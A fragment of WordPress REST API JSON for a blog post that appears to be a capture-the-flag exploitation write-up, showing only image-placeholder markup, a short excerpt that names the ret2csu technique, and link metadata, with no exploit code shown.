src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-116\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/AYV52H_LSMEILJ_4G07-1024x633.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"633\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/AYV52H_LSMEILJ_4G07-1024x633.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-115\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>a gift \u5e38\u89c4\u7684ret2csu \u627ecsu\u7247\u6bb5 \u6240\u4ee5\u6709 \u540e\u9762\u6309\u5957\u8def\u6765\u5c31\u884c userlogin \u5148\u7528gener [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[8],"class_list":["post-111","post","type-post","status-publish","format-standard","hentry","category-game","tag-8"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=111"}],"version-history":[{"count":2,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":129,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions\/129"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}